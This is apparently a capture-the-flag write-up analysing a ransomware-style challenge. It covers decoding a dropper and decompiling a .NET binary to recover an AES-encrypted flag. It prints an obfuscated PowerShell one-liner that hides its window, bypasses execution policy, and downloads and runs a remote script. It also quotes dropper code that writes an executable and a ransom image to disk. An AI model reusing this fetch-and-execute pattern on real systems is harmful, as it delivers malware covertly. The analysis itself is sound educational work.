Skip to main content

analyze-me

Solved by: grb

This is what the challenge looks like, we've been given a powershell one-liner from the challenge.

Challenge

powershell -nop -w hidden -ep Bypass -c "$r='xMHcuUGd5JWYnl2ZtYTMv4Wah12LtFmctUGZhJ3ZwV3LlVXcu9Ga4BzLt92YuQnblRnbvNmclNXdiVHa0l2ZucXYy9yL6MHc0RHa';$b=($r[-1..-($r.Length)] -join '');$u=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b));iex (iwr $u -UseBasicParsing)"

It looks like that it tried to download something from the internet (iwr or Invoke-WebRequest function) and execute it (iex or Invoke-Expression). Let's try to get the script that it tries to execute.

get link

Opening the script, we will be greeted with a shitload of base64 string, and in total, there's 3 distinctive base64 string. At the end of the script, there's a code to decompress each base64 and write it to 3 file.

$compressedExeBytes = [Convert]::FromBase64String($b64exe)
$msInExe = New-Object IO.MemoryStream(,$compressedExeBytes)
$gsExe = New-Object IO.Compression.GzipStream($msInExe, [IO.Compression.CompressionMode]::Decompress)
$msOutExe = New-Object IO.MemoryStream
$gsExe.CopyTo($msOutExe)
$gsExe.Dispose(); $msInExe.Dispose()
$exeBytes = $msOutExe.ToArray(); $msOutExe.Dispose()

$compressedImgBytes = [Convert]::FromBase64String($b64img)
$msInImg = New-Object IO.MemoryStream(,$compressedImgBytes)
$gsImg = New-Object IO.Compression.GzipStream($msInImg, [IO.Compression.CompressionMode]::Decompress)
$msOutImg = New-Object IO.MemoryStream
$gsImg.CopyTo($msOutImg)
$gsImg.Dispose(); $msInImg.Dispose()
$imgBytes = $msOutImg.ToArray(); $msOutImg.Dispose()

$compressedFlagBytes = [Convert]::FromBase64String($b64flag)
$msInFlag = New-Object IO.MemoryStream(,$compressedFlagBytes)
$gsFlag = New-Object IO.Compression.GzipStream($msInFlag, [IO.Compression.CompressionMode]::Decompress)
$msOutFlag = New-Object IO.MemoryStream
$gsFlag.CopyTo($msOutFlag)
$gsFlag.Dispose(); $msInFlag.Dispose()
$flagBytes = $msOutFlag.ToArray(); $msOutFlag.Dispose()

$outDir = (Get-Location).Path
$outFile = Join-Path $outDir "WinDriver.exe"
$imgFile = Join-Path $outDir "ransom.jpg"
$flagFile = Join-Path $outDir "SUPERIMPORTANTFILE.flag"

[IO.File]::WriteAllBytes($outFile, $exeBytes)
[IO.File]::WriteAllBytes($imgFile, $imgBytes)
[IO.File]::WriteAllBytes($flagFile, $flagBytes)

In this phase, please be careful not to execute anything. After running those code WITHOUT EXECUTING THE EXE FILE, we got, in total, 3 files written in our system, "WinDriver.exe", "ransom.jpg", and "SUPERIMPORTANTFILE.flag". Hmmm... I can already smell the flag, first, lets check the "SUPERIMPORTANTFILE.flag" file.

superimportanfile.flag

hex to ascii

Welp, it was worth the try. Moving on, lets check out the binary file under IDA as usual. When you try load the binary on IDA, you will be greeted with this.

load PDB

coreclr? singlefilehost? A quick Google search for both of these result us with this.

google search

OH! So this is a .NET assembly then, can we decompile it? A quick Google search will lead us to this StackOverflow answer.

stackoverflow

GREAT! Turns out we can use ILSpy to decompile them. Lets try it!

ILSpy

Opening it was absolutely effortless. Now, lets analyze the code. So, the Main function reads the "SUPERIMPORTANTFILE.flag", convert it to bytes array, and then decrypt it with the DecryptOneLayer function, and then it proceeds to... encrypt it again? Well, for now, lets try to decrypt the "SUPERIMPORTANTFILE.flag" file just like DecryptOneLayer did using CyberChef. You can get the AES key and IV from the DecryptOneLayer function.

decrypted

Interesting, next, lets try to decrypt it using AES again, but with the new key.

decrypted 2

Hmmmm... It successfully decrypted it but the output is garbled... Maybe we can try to change the AES mode?

decrypted 3

PO- PO- PO- PWNED!!!